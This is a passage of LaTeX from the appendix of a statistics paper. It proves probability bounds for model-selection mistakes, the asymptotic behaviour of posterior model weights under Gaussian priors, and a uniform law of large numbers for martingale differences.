P_{\pi} \left( \bar{\zeta}^{\alpha}_{t}(d) > 0.5 ( \varepsilon + \Delta) \right) \leq & 3 \exp \left\{ - \frac{t}{ \log t } (\max\{ \Gamma^{-1}_{+}(0.5(\varepsilon + \Delta)) , 0\} ) ^{2} \mathbf{C}(\epsilon) \right\} ,
\end{align*}
and it follows that
\begin{align*}
P_{\pi} \left( \exists d \ne M \colon \zeta^{\alpha}_{t}(d) - \zeta^{\alpha}_{t}(M) > \varepsilon \right) \leq & 3 \sum_{d=0}^{M-1} \exp \left\{ - \frac{t}{ \log t } (\max\{ \Gamma^{-1}_{+}(0.5(\varepsilon + \Delta) , \bar{\zeta}_{0}(d) , \nu_{0}(d) , e_{t}(d) ) , 0\} ) ^{2} \mathbf{C}(\epsilon) \right\} \\
& + P_{\pi} \left( - \bar{\zeta}^{\alpha}_{t}(M) > 0.5 ( \varepsilon + \Delta ) \mid R(t,M,\eta) \cap S(t,M,\eta) \right) \\
& + \{ P_{\pi} \left( R(t,M,\eta)^{C} \right) + P_{\pi} \left( S(t,M,\eta)^{C} \right)
\end{align*}
By Lemma \ref{lem:UpperBound.zetabar.alpha}(3), $ - \bar{\zeta}_{t}(M) \leq \Gamma_{-}(\eta) : = \Gamma( \eta , -\bar{\zeta}_{0}(d) , \nu_{0}(d) , e_{t}(d) )$. Hence, choosing $\eta = \max\{ \Gamma^{-1}_{-}( 0.5 (\varepsilon + \Delta) ) , 0 \}$ and by analogous arguments to those above, it follows that
\begin{align*}
P_{\pi} \left( \exists d \ne M \colon \zeta_{t}(d) - \zeta_{t}(M) > \varepsilon \right) \leq & 3 \sum_{d=0}^{M-1} \exp \left\{ - \frac{t}{ \log t } (\max\{ \Gamma^{-1}(0.5(\varepsilon + \Delta) , \bar{\zeta}_{0}(d) , \nu_{0}(d), e_{t}(d) ) , 0 \} ^{2} \mathbf{C}(\epsilon) \right\} \\
& + 3 \exp \left\{ - \frac{t}{ \log t } (\max\{ \Gamma^{-1}(0.5(\varepsilon + \Delta) , - \bar{\zeta}_{0}(M) , \nu_{0}(M) , e_{t}(M) ) , 0 \} ^{2} \mathbf{C}(\epsilon) \right\} .
\end{align*}
\end{proof}
As $\mathbf{C}(.)$ is non-decreasing, the probability of making a mistake decreases with the $\epsilon$ (other things equal), illustrating the fact that as $\epsilon$ increases, the data becomes ``less correlated" and thus more informative thereby reducing the probability of making a mistake.
\section{Properties of $\alpha$}
\label{app:alpha}
\subsection{Proof of Proposition \ref{pro:alpha.asymptotics.general}}
To show Proposition \ref{pro:alpha.asymptotics.general} we use the following lemmas whose proofs are relegated to the end of this appendix. The first lemma studies the process $g(Y_{s},D_{s},\theta) : = (1\{D_{s}(x) = d \} ( \ell (Y_{s},\theta) - E[ \ell (Y_{s},\theta) \mid D_{s}(x) ] ) $ for all $s \geq 1$, where the expectation is taken with respect to $P$ and $\ell(.,\theta) : = \log p_{\theta}(.)/p(. \mid d,x )$ and $p(\cdot | d,x)$ is the true PDF of $Y(d,x)$.
\begin{lemma}\label{lem:uniform.LLN}
Suppose $\Theta \subseteq \mathbb{R}^{|\Theta|}$ is compact and there exists a $\varphi : \mathbb{R}_{+} \rightarrow \mathbb{R}_{+}$ such that $\varphi(0)=0$ and increasing and $$ \max_{\theta' \in \Theta} E[ \sup_{\theta \in B(\theta',\delta) } | \ell(Y(d,x),\theta) - \ell(Y(d,x),\theta') |^{2} ] \leq \varphi(\delta)^{2},~\forall \delta >0. $$
Then for any $t$ and $\gamma > 0$,
\begin{align*}
P\left( \sup_{\theta \in \Theta } | t^{-1} \sum_{s=1}^{t} g(Y_{s},D_{s},\theta) | \geq \sqrt{1/(2C \gamma) } \sqrt{ \Lambda(t, |\Theta|) } \right) \leq \gamma
\end{align*}
where $\Lambda(t,|\Theta|) : = \min_{\delta \geq 0} ( t^{-1} \delta^{-|\Theta|} + \varphi(\delta)) $ and is decreasing in $t$ and increasing in $|\Theta|$ and $\lim_{t\rightarrow \infty} \Lambda(t,|\Theta|) = 0$.
\end{lemma}
The second lemma provides a non-asymptotic bound for the ratio of the weights for any two models. In particular, it relates the weights, $\alpha^{o}_{t}$, with the Laplace transformation of $$ u \mapsto G^{o}_{d,x}(u) : = \mu_{0}^{o}(d,x) ( KL_{d,x}(\theta) \leq u ). $$ To ou knowledge, this result is new and might be of independent interest.
\begin{lemma}\label{lem:alpha.asymptotics.general}
Take any $o,o' \in \{0,...,L\}$ and $(d,x) \in \mathbb{D}\times \mathbb{X}$. Suppose $\Theta \subseteq \mathbb{R}^{|\Theta|}$ is compact and there exists a $\varphi : \mathbb{R}_{+} \rightarrow \mathbb{R}_{+}$ such that $\varphi(0)=0$ and increasing and $$ \max_{\theta' \in \Theta} E[ \sup_{\theta \in B(\theta',\delta) } | \ell(Y(d,x),\theta) - \ell(Y(d,x),\theta') |^{2} ] \leq \varphi(\delta)^{2},~\forall \delta >0. $$
Then, for any $\gamma > 0$,
\begin{align*}
\frac{\alpha^{o}_{t}(d,x)}{\alpha^{o'}_{t}(d,x)} \leq \frac{ \int G^{o}_{d,x}(u) e^{-N_{t}(d,x) u} du }{ \int G^{o'}_{d,x}(u) e^{-N_{t}(d,x) u} du } e^{t r_{t}}~\forall t,
\end{align*}
with probability larger than $1-\gamma$, where $r_{t} : = O(\sqrt{1/\gamma } \sqrt{ \Lambda(t,|\Theta|) } )$.
\end{lemma}
\begin{proof} [Proof of Proposition \ref{pro:alpha.asymptotics.general}]
Suppose the conditions in Lemmas \ref{lem:uniform.LLN} and \ref{lem:alpha.asymptotics.general} hold (we show they do towards the end of the proof). In this case, it follows that for any $\varepsilon>0$,
\begin{align*}
P_{\pi} \left( \frac{\alpha^{o}_{t}(d,x) }{ \alpha^{o'}_{t}(d,x) } \geq \varepsilon \right) \leq P_{\pi} \left( \frac{\alpha^{o}_{t}(d,x) }{ \alpha^{o'}_{t}(d,x) } \geq \varepsilon \cap S_{t}(\varepsilon ) \right) + P_{\pi} \left( S_{t}(\varepsilon )^{C} \right)
\end{align*}
where $S_{t}(\varepsilon )$ is the set such that $N_{t}(d,x)/t \geq e_{t}(d,x) - \varepsilon$ and $r^{-1}_{t} \sup_{\theta \in \Theta} \left| t^{-1} \sum_{s=1}^{t} g(Y_{s},D_{s},\theta) \right| \leq \varepsilon $. By Lemma \ref{lem:uniform.LLN} and Lemma \ref{lem:concentration.freq}, $\lim_{t\rightarrow \infty} P_{\pi} (S_{t}(\varepsilon) ^{C} ) =0$.
In what follows, take an arbitrary sequence in $S_{t}(\varepsilon )$. Let $u_{o}(d,x)$ as in the definition. If $u_{o}(d,x) - u_{o'}(d,x) = : A > 0$, then by Lemma \ref{lem:alpha.asymptotics.general},
\begin{align*}
\frac{\alpha^{o}_{t}(d,x) }{ \alpha^{o'}_{t}(d,x) } \leq & e^{2 t r_{t} } \frac{ N_{t}(d,x) \int_{0}^{\infty} \mu^{o}_{0}(d,x) \left( KL_{d,x}(\theta) \leq v \right) e^{-N_{t}(d,x)v} dv } { N_{t}(d,x) \int_{0}^{\infty} \mu^{o'}_{0}(d,x) \left( KL_{d,x}(\theta) \leq v \right) e^{-N_{t}(d,x)v} dv } \\
\leq & e^{2 t r_{t} } \frac{ N_{t}(d,x) \int_{u_{o}(d,x)}^{\infty} \mu^{o}_{0}(d,x) \left( KL_{d,x}(\theta) \leq v \right) e^{-N_{t}(d,x)v} dv } { N_{t}(d,x) \int_{u_{o'}(d,x)}^{ u_{o'}(d,x) + 0.5 A } \mu^{o'}_{0}(d,x) \left( KL_{d,x}(\theta) \leq v \right) e^{-N_{t}(d,x)v} dv } \\
\leq & e^{2 t r_{t} } \frac{ e^{-N_{t}(d,x) u_{o}(d,x) } \int_{u_{o}(d,x)}^{\infty} \mu^{o}_{0}(d,x) \left( KL_{d,x} (\theta) \leq v \right) dv } { e^{-N_{t}(d,x) ( m_{o'}(d,x) + 0.5 A ) } \int_{m_{o'}(d,x)}^{ u_{o'}(d,x) + 0.5 A } \mu^{o'}_{0}(d,x) \left( KL_{d,x}(\theta) \leq v \right) dv } \\
= & e^{ - N_{t}(d,x) 0.5 A + 2 t r_{t} } \frac{ \int_{u_{o}(d,x)}^{\infty} \mu^{o}_{0}(d,x) \left( KL_{d,x} (\theta) \leq v \right) dv } { \int_{u_{o'}(d,x)}^{ u_{o'}(d,x) + 0.5 A } \mu^{o'}_{0}(d,x) \left( KL_{d,x}(\theta) \leq v \right) dv }
\end{align*}
where the last line follows from definition of $A$.
The fraction in the previous display is a fixed number. Under the set $S_{t}(\varepsilon)$, $\frac{N_{t}(d,x)}{t} 0.5 A + 2 r_{t} \geq (e_{t}(d,x) - \varepsilon ) 0.5 A - 2 \varepsilon $. Under Assumption \ref{ass:PF.epsilon}, there exists a $\bar{\varepsilon}>0$ (not dependant on $t$) such that for any $\varepsilon \leq \bar{\varepsilon}$, $\frac{N_{t}(d,x)}{t} 0.5 A + 2 r_{t} \geq c > 0$. Thus, we obtain $\frac{\alpha^{o}_{t}(d,x) }{ \alpha^{o'}_{t}(d,x) } = O( e^{-t c } )$, which in turn implies that
\begin{align*}
P_{\pi} \left( \frac{\alpha^{o}_{t}(d,x) }{ \alpha^{o'}_{t}(d,x) } \geq \varepsilon \right) \leq P_{\pi} \left( e^{-t c } \geq \varepsilon \right) + P_{\pi} \left( S_{t}(\varepsilon )^{C} \right) = o(1),
\end{align*}
for any $\varepsilon \leq \bar{\varepsilon}$. Thus the desired result follows.
\bigskip
We now verify that the conditions in Lemma \ref{lem:alpha.asymptotics.general} (and thus, Lemma \ref{lem:uniform.LLN}) hold. $\Theta$ is compact by assumption, so we ``just" need to verify the continuity condition.
By Assumption, $\theta \mapsto \log p_{\theta}(\cdot)$ is continuous a.s.-$P_{\pi}$. This implies that $\theta \mapsto \ell(\cdot,\theta)$ is continuous a.s.-$P_{\pi}$. Continuous functions over compact sets are uniformly continuous, thus $f(Y(d,x),\delta) : = \sup_{||\theta-\theta'|| \leq \delta} |\ell(Y(d,x),\theta) - \ell(Y(d,x),\theta')| $ converges to 0 as $\delta$ vanishes a.s.-$P_{\pi}$. By Assumption, $E[\sup_{\theta \in \Theta} | \log p_{\theta} (Y(d,x))|^{2} ] < \infty$, and thus by the Dominated convergence theorem, $\lim_{\delta \rightarrow 0} E[f(Y(d,x),\delta) ^{2} ] = 0$ as desired.
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\end{proof}
\subsection{Proof of Lemma \ref{lem:alpha.properties} }
\begin{proof}[Proof of Lemma \ref{lem:alpha.properties} ]
Let $p_{\theta}$ denote a Gaussian PDF with mean $\theta$ and variance $1$.
(1) It follows that
\begin{align*}
& \int \prod_{s=1}^{t} ( p_{\theta}(Y_{s}) )^{1\{ D_{s}(x) =d \}} \mu^{o}_{0}(d,x)(d\theta) \\
= & \int (2\pi)^{-0.5 \sum_{s=1}^{t} 1\{ D_{s}(x) =d \} }\exp \left\{ - \frac{1}{2} \sum_{s=1}^{t} 1\{ D_{s}(x) =d \} \left( Y_{s} - \theta \right)^{2} \right\} \phi(\theta; \zeta^{o}_{0}(d,x) , 1/\nu_{0}^{o}(d,x) ) d\theta\\
= & \int (2\pi)^{-0.5 \sum_{s=1}^{t} 1\{ D_{s}(x) =d \} }\exp \left\{ - \frac{1}{2} \sum_{s=1}^{t} 1\{ D_{s}(x) =d \} \left( Y_{s}(d,x) - m_{t}(d,x) \right)^{2} \right\}\\
\times & \exp \left\{ - \frac{1}{2} \sum_{s=1}^{t} 1\{ D_{s}(x) =d \} \left( m_{t}(d,x) - \theta \right)^{2} \right\} \\
\times & \exp \left\{ - \sum_{s=1}^{t} 1\{ D_{s}(x) =d \} \left( Y_{s}(d,x) - m_{t}(d,x) \right) \left( m_{t}(d,x) - \theta \right) \right\} \\
& \phi(\theta; \zeta^{o}_{0}(d,x) , 1/\nu_{0}^{o}(d,x) ) d\theta,
\end{align*}
where $m_{t}(d,x) : = \sum_{s=1}^{t} 1\{ D_{s}(x) =d \} Y_{s}(d,x) /\sum_{s=1}^{t} 1\{ D_{s}(x) =d \}$. Observe that
\begin{align*}
\sum_{s=1}^{t} 1\{ D_{s}(x) =d \} \left( Y_{s}(d,x) - m_{t}(d,x) \right) = 0 ,
\end{align*}
so, letting $N_{t}(d,x) : = \sum_{s=1}^{t} 1\{ D_{s}(x) =d \}$ it follows that
\begin{align*}
\int \prod_{s=1}^{t} ( p_{\theta}(Y_{s}) )^{1\{ D_{s}(x) =d \}} \mu^{o}_{0}(d,x)(d\theta) = & (2\pi)^{-0.5 \sum_{s=1}^{t} 1\{ D_{s}(x) =d \} + 0.5} N_{t}(d,x)^{-1/2}\\
& \times \exp \left\{ - \frac{1}{2} \sum_{s=1}^{t} 1\{ D_{s}(x) =d \} \left( Y_{s}(d,x) - m_{t}(d,x) \right)^{2} \right\}\\
\times & \int (2\pi/N_{t}(d,x))^{-1/2} \exp \left\{ - \frac{1}{2} \left( m_{t}(d,x) - \theta \right)^{2} N_{t}(d,x) \right\} \\
& \phi(\theta; \zeta^{o}_{0}(d,x) , 1/\nu_{0}^{o}(d,x) ) d\theta.
\end{align*}
The expression of the integral can be viewed as a convolution between to Gaussian PDFs one indexed by $( 0, 1/N_{t}(d,x) )$ and $( \zeta^{o}_{0}(d,x) , 1/\nu_{0}^{o}(d,x) )$ resp, which in turn is equivalent to PDF of the sum of the corresponding random variables evaluated at $m_{t}(d,x)$. Therefore,
\begin{align*}
\int \prod_{s=1}^{t} ( p_{\theta}(Y_{s}) )^{1\{ D_{s}(x) =d \}} \mu^{o}_{0}(d,x)(d\theta) = C \phi( m_{t}(d,x) ; \zeta^{o}_{0}(d,x) , ( N_{t}(d,x) + \nu^{o}_{0}(d,x) )/( N_{t}(d,x)\nu^{o}_{0}(d,x) ) )
\end{align*}
where $C : = (2\pi)^{-0.5 \sum_{s=1}^{t} 1\{ D_{s}(x) =d \} + 0.5} N_{t}(d,x)^{-1/2} \exp \left\{ - \frac{1}{2} \sum_{s=1}^{t} 1\{ D_{s}(x) =d \} \left( Y_{s}(d,x) - m_{t}(d,x) \right)^{2} \right\}$ which, importantly, doesn't depend on the model $o$.
Hence
\begin{align*}
\alpha^{o}_{t}(d,x) = \frac{ \phi( m_{t}(d,x) ; \zeta^{o}_{0}(d,x) , ( N_{t}(d,x) + \nu^{o}_{0}(d,x) )/( N_{t}(d,x)\nu^{o}_{0}(d,x) ) ) } { \sum_{o=0}^{L} \phi( m_{t}(d,x) ; \zeta^{o}_{0}(d,x) , ( N_{t}(d,x) + \nu^{o}_{0}(d,x) )/( N_{t}(d,x)\nu^{o}_{0}(d,x) ) ) }
\end{align*}
(2) Follows from the definition of $\phi$. \\
(3) By Lemmas \ref{lem:concentration.freq} and \ref{lem:concentration.avg} and Assumption \ref{ass:PF.epsilon}, $N_{t}(d,x)$ diverges with probability approaching 1 and $m_{t}(d,x) = \theta(d,x) + o_{P}(1)$. By continuity of $\phi$, the result follows.
\end{proof}
\subsection{Bounds for $\alpha_{t}$}
It follows that, tor any $(d,x) \in \mathbb{D}\times \mathbb{X}$ and $t$, $\alpha^{o}_{t}(d,x) = \frac{ \exp \ell^{o}_{t}(d,x) } { \sum_{o=0}^{L} \exp \ell^{o}_{t}(d,x) } $ where
\begin{align*}
\ell^{o}_{t}(d,x) : = \log \phi (m_{t}(d,x) ; \zeta^{o}_{0}(d,x) , ( N_{t}(d,x) + \nu^{o}_{0}(d,x) )/(N_{t}(d,x)\nu^{o}_{0}(d,x) ) )
\end{align*}
We now provide non-random bounds for $\ell^{o}_{t}$ and study some properties; all proofs are relegated to the end of the section. Finally, recall that $f_{t}(d,x) : = N_{t}(d,x) / t$.
\begin{lemma}\label{lem:alpha.bound}
For any $o \in \{ 0,...,L \}$, any $(d,x) \in \mathbb{D}\times \mathbb{X}$, any $\pi_{t}(d,x) \in (0,1)$ and $\eta \in (0,\epsilon)$, $\delta > 0$ such that $| f_{t}(d,x) - \pi_{t}(d,x)| \leq \eta$ and $| m_{t}(d,x) - \theta (d,x)| \leq \delta$, it follows that
\begin{align*}
\underline{\ell}( \eta ,\delta , |\bar{\zeta}^{o}_{0}(d,x)| , \nu^{o}_{0}(d,x) , \pi_{t}(d,x) ) \leq \ell^{o}_{t}(d,x) \leq \overline{\ell}( \eta ,\delta , |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) , \pi_{t}(d,x) ),
\end{align*}
and thus
\begin{align*}
\underline{\alpha}^{o}( \eta ,\delta , |\bar{\zeta}_{0}(d,x) | , \nu_{0}(d,x) , \pi_{t}(d,x) ) \leq \alpha^{o}_{t}(d,x) \leq \overline{\alpha}^{o}( \eta ,\delta, |\bar{\zeta}_{0}(d,x) | , \nu_{0}(d,x) , \pi_{t}(d,x) )
\end{align*}
where
\begin{align*}
\underline{\alpha}^{o}( \eta ,\delta, |\bar{\zeta}_{0}(d,x) | , \nu_{0}(d,x) , \pi_{t}(d,x) ) : = \frac{ e^{ \underline{\ell}( \eta ,\delta , |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) , \pi_{t}(d,x) )} } { \sum_{o=0}^{L} e^{ \overline{\ell}( \eta ,\delta , |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) , \pi_{t}(d,x) ) } }
\end{align*}
and
\begin{align*}
\overline{\alpha}^{o}( \delta, \eta, |\bar{\zeta}_{0}(d,x) | , \nu_{0}(d,x) , \pi_{t}(d,x) ) : = \frac{ e^{ \overline{\ell}( \eta ,\delta , |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) , \pi_{t}(d,x) ) } } { \sum_{o=0}^{L} e^{ \underline{\ell}( \eta ,\delta , |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) , \pi_{t}(d,x) ) } },
\end{align*}
and
\begin{align*}
\overline{\ell}( \eta ,\delta , |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) , \pi_{t}(d,x) ) : = - \log \underline{\sigma}_{t}(d,x) - 0.5 \frac{ ( \delta - |\bar{\zeta}^{o}_{0}(d,x) | ) ^{2} }{ \overline{\sigma}^{2}_{t}(d,x) } ,
\end{align*}
\begin{align*}
\underline{\ell}( \eta ,\delta , |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) , \pi_{t}(d,x) ) : = & 1\{ (\delta + |\bar{\zeta}^{o}_{0}(d,x) | )^{2} < \overline{\sigma}^{2}_{t}(d,x) \} \log \phi( \delta ; - |\bar{\zeta}^{o}_{0}(d,x) | , \overline{\sigma}^{2}_{t}(d,x)) \\
& + 1\{ (\delta + |\bar{\zeta}^{o}_{0}(d,x) | )^{2} > \underline{\sigma}^{2}_{t}(d,x) \} \log \phi( \delta ; - |\bar{\zeta}^{o}_{0}(d,x) | , \underline{\sigma}^{2}_{t}(d,x)) \} .
\end{align*}
and
\begin{align*}
& \sigma^{2}_{t}(d,x) \geq \underline{\sigma}^{2}_{t}(d,x) : = 1/\nu^{o}_{0}(d,x) + t^{-1} /(\pi_{t}(d,x) + \eta) \\
~and~ & \sigma^{2}_{t}(d,x) \leq \overline{\sigma}^{2}_{t}(d,x) : = 1/\nu^{o}_{0}(d,x) + t^{-1} /(\pi_{t}(d,x) - \eta) .
\end{align*}
\end{lemma}
\begin{remark}
For any $\eta \in (0,\epsilon)$, we define $$\overline{\ell}( \eta , |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) , \pi_{t}(d,x) ) : = \overline{\ell}( \eta, \eta , |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) , \pi_{t}(d,x) )$$ and $$\underline{\ell}( \eta , |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) , \pi_{t}(d,x) ) : = \underline{\ell}( \eta, \eta , |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) , \pi_{t}(d,x) ). $$ $\triangle$
\end{remark}
The next lemma summarizes some useful properties of $\underline{\ell}$ and $\overline{\ell}$.
\begin{lemma}\label{lem:ell.properties}
The following propertis are true:
\begin{enumerate}
\item As $|\bar{\zeta}^{o}_{0}(d,x) | \rightarrow \infty$, $\overline{\ell}( \eta ,\delta , |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) , \pi_{t}(d,x) )$ and $\underline{\ell}( \eta ,\delta , |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) , \pi_{t}(d,x) )$ converge to $-\infty$.
\item $\eta \mapsto \overline{\ell}( \eta ,\delta , |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) , \pi_{t}(d,x) )$ is increasing and $\eta \mapsto \overline{\ell}( \eta ,\delta , |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) , \pi_{t}(d,x) )$ is decreasing.
\item $\delta \mapsto \overline{\ell}( \eta ,\delta , |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) , \pi_{t}(d,x) )$ is non-decreasing, and $\delta \mapsto \underline{\ell}( \eta ,\delta , |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) , \pi_{t}(d,x) )$ is decreasing.
\item Suppose Assumption \ref{ass:PF.epsilon} holds and $\pi_{t} = e_{t}$. For any $\eta < \epsilon$, $\underline{\sigma}^{2}_{t}(d,x) \geq 1/\nu^{o}_{0}(d,x) + t^{-1}/(1 + \eta) = : \dot{\underline{\sigma}}^{2}_{t}(d,x) $ and $\overline{\sigma}^{2}_{t}(d,x) \leq 1/\nu^{o}_{0}(d,x) + t^{-1}/(\epsilon - \eta) = : \dot{\overline{\sigma}}^{2}_{t}(d,x) $. Thus,
\begin{align*}
\overline{\ell}( \eta ,\delta , |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) , \pi_{t}(d,x) ) \leq \overline{\ell}( \eta ,\delta , |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) )
\end{align*}
and
\begin{align*}
\underline{\ell}( \eta ,\delta , |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) , \pi_{t}(d,x) ) \geq \underline{\ell}( \eta ,\delta , |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) )
\end{align*}
where the RHS bounds are defined as $ \overline{\ell}$ and $\overline{\ell}$ but using $ \dot{\overline{\sigma}}$ and $ \dot{\underline{\sigma}}$ instead of $\overline{\sigma}$ and $\underline{\sigma}$. The usefulness of these bounds is that they do not depend on $e_{t}$ but they still inherit properties 1-3.
Moreover,
\begin{align*}
\underline{\alpha}^{o}( \eta ,\delta , |\bar{\zeta}_{0}(d,x) | , \nu_{0}(d,x) , e_{t}(d,x) ) \geq \underline{\alpha}^{o}( \eta ,\delta, |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) ) : = \frac{ e^{ \underline{\ell}( \eta ,\delta , |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) ) } }{ \sum_{o'=0}^{L} e^{\overline{\ell}( \eta ,\delta , |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) )} }
\end{align*}
and
\begin{align*}
\overline{\alpha}^{o}( \eta ,\delta, |\bar{\zeta}_{0}(d,x) | , \nu_{0}(d,x) , e_{t}(d,x) ) \geq \overline{\alpha}^{o}( \eta ,\delta, |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) ) : = \frac{ e^{ \overline{\ell}( \eta ,\delta , |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) ) } }{ \sum_{o'=0}^{L} e^{\underline{\ell}( \eta ,\delta , |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) ) } } .
\end{align*}
\item The functions $\overline{\alpha}^{o}( \eta ,\delta, |\bar{\zeta}_{0}(d,x) | , \nu_{0}(d,x) , e_{t}(d,x) ) $ and $\overline{\alpha}^{o}( \eta ,\delta, |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) ) $ are increasing in $\eta$ and $\delta$.
\end{enumerate}
\end{lemma}
Property 1 is key for our analysis. It shows that the upper and lower bound maintain a key property of the weights: If the bias of a model is ``very large", then the corresponding weight will be ``small".
\subsection{Proof of Supplemental Lemmas}
\begin{proof}[Proof of Lemma \ref{lem:uniform.LLN} ]
Henceforth, we omit the notation "$x$" from the quantities as there is no risk of confusion. Let $\mathcal{F}^{s}$ denote the $\sigma$-algebra generated by $(D_{1},...,D_{s},Y_{1},...,Y_{s-1})$. We now show that for each $\theta \in \Theta$, $(g(Y_{s},D_{s},\theta))_{s}$ is a MDS with respect to aforementioned $\sigma$-algebras. To do this, note that
\begin{align*}
E[ g(Y_{s},D_{s},\theta) \mid \mathcal{F}^{s} ] = 1\{D_{s} = d \} E[ \ell (Y_{s},\theta) - E[ \ell (Y_{s},\theta) \mid D_{s} ] \mid \mathcal{F}^{s} ].
\end{align*}
Observe that $E[ \ell (Y_{s},\theta) \mid \mathcal{F}^{s} ] = E[ \ell (Y_{s},\theta) \mid D_{s} ] $ because $Y_{s}$ is independent of the whole past once we condition on $D_{s}$. Since $E[[ \ell (Y_{s},\theta) \mid D_{s} ] \mid \mathcal{F}^{s} ] = E [ \ell (Y_{s},\theta) \mid D_{s} ] $, it follows that $E[ g(Y_{s},D_{s},\theta) \mid \mathcal{F}^{s} ] = 0$.
Since $\Theta$ is assumed to be compact, for any $\delta>0$, there exists a $L_{\delta}$ such that $\Theta \subseteq \cup_{l =1}^{L} B(\theta_{l},\delta)$ where $B(\theta,\delta)$ is a $\delta$-radius ball with center $\theta$. Indeed, let $L_{\delta}$ be the smallest number of balls of radius $\delta$ needed to cover the set, and as $\Theta \subseteq \mathbb{R}^{|\Theta|}$, it follows that $L_{\delta} \leq C \delta^{-|\Theta|}$ where $C$ is an universal constant.
Thus, for any $t$ and any $\delta>0$,
\begin{align*}
\sup_{\theta \in \Theta} |t^{-1} \sum_{s=1}^{t} g(Y_{s},D_{s},\theta) | \leq & \max_{l \in \{1,...,L_{\delta} \}} |t^{-1} \sum_{s=1}^{t} g(Y_{s},D_{s},\theta_{l}) | \\
& + \max_{l \in \{1,...,L_{\delta} \}} \sup_{\theta \in B(\theta_{l},\delta) } |t^{-1} \sum_{s=1}^{t} \{ g(Y_{s},D_{s},\theta) - g(Y_{s},D_{s},\theta_{l})\} | .
\end{align*}
By the triangle inequality and simple algebra, for any $t$, any $\delta>0$ and any $l \in \{1,...,L_{\delta}\}$,
\begin{align*}
& \sqrt{E[ \sup_{\theta \in B(\theta_{l},\delta) } |t^{-1} \sum_{s=1}^{t} \{ g(Y_{s},D_{s},\theta) - g(Y_{s},D_{s},\theta_{l})\} |^{2} ] } \\
\leq & t^{-1} \sum_{s=1}^{t} \sqrt{E[ \sup_{\theta \in B(\theta_{l},\delta) } | g(Y_{s},D_{s},\theta) - g(Y_{s},D_{s},\theta_{l}) |^{2} ] }\\
\leq & 2 t^{-1} \sum_{s=1}^{t } \sqrt{E[ \sup_{\theta \in B(\theta_{l},\delta) } | \ell(Y_{s}(d,x),\theta) - \ell(Y_{s}(d,x),\theta_{l})) |^{2} ] } \\
\leq & 2 \sqrt{E[ \sup_{\theta \in B(\theta_{l},\delta) } | \ell(Y(d,x),\theta) - \ell(Y(d,x),\theta_{l})) |^{2} ]}
\end{align*}
where the last line follows from IID-ness of $Y(d,x)$. By Assumption, the RHS is less than $\varphi( \delta ) $.
By the Martingale difference property, for any $t$ and any $\delta>0$,
\begin{align*}
E[( \max_{l \in \{1,...,L_{\delta} \}} |t^{-1} \sum_{s=1}^{t} g(Y_{s},D_{s},\theta_{l}) | )^{2} ] \leq & L_{\delta} t^{-1} \max_{1 \leq s \leq t} E[( g(Y_{s},D_{s},\theta_{l}) )^{2} ] \leq C L_{\delta} t^{-1} \max_{1 \leq s \leq t} E[( \ell(Y(d,x),\theta_{l}) )^{2} ]
\end{align*}
for some universal constant $C$. Since $\Theta$ is bounded, the continuity assumption implies that $\max_{l} E[( \ell(Y(d,x),\theta_{l}) )^{2} ] \leq C$ for some finite constant.
Then, by the Markov inequality, for any $\varepsilon>0$, any $t$ and any $\delta>0$,
\begin{align*}
P\left( \sup_{\theta \in \Theta } | t^{-1} \sum_{s=1}^{t} g(Y_{s},D_{s},\theta) | \geq \varepsilon \right) \leq & C ( \varepsilon^{-2} t^{-1} L_{\delta} + \varepsilon^{-1} \varphi( \delta ) ) \leq C \varepsilon^{-2} ( t^{-1} \delta^{-|\Theta|} + \varphi( \delta ) )
\end{align*}
For any $t$, choose $\delta$ as the argmin of $\Lambda(t,|\Theta|) : = \min_{\delta \geq 0} ( t^{-1} \delta^{-|\Theta|} + \varphi(\delta)) $.
Observe that $\Lambda(.,.)$ is decreasing in $t$ and increasing in $|\Theta|$ and $\lim_{t\rightarrow \infty} \Lambda(t,|\Theta|) = 0$; the first property is straightforward and the second one follows because $t^{-1} \delta^{-|\Theta|} + \varphi(\delta)$ converges to $\varphi(\delta)$ (pointwise) and $\varphi(0) = 0$.
Hence, by choosing $\varepsilon = \sqrt{(0.5/C) M} \sqrt{ \Lambda(t,|\Theta|) } $ for any $M>0$ it follows that
\begin{align*}
P\left( \sup_{\theta \in \Theta } | t^{-1} \sum_{s=1}^{t} g(Y_{s},D_{s},\theta) | \geq \sqrt{(0.5/C) M} \sqrt{ \Lambda(t,|\Theta|) } \right) \leq & C ( \varepsilon^{-2} t^{-1} L_{\delta} + \varepsilon^{-1} \delta^{\kappa}) \leq M^{-1}
\end{align*}
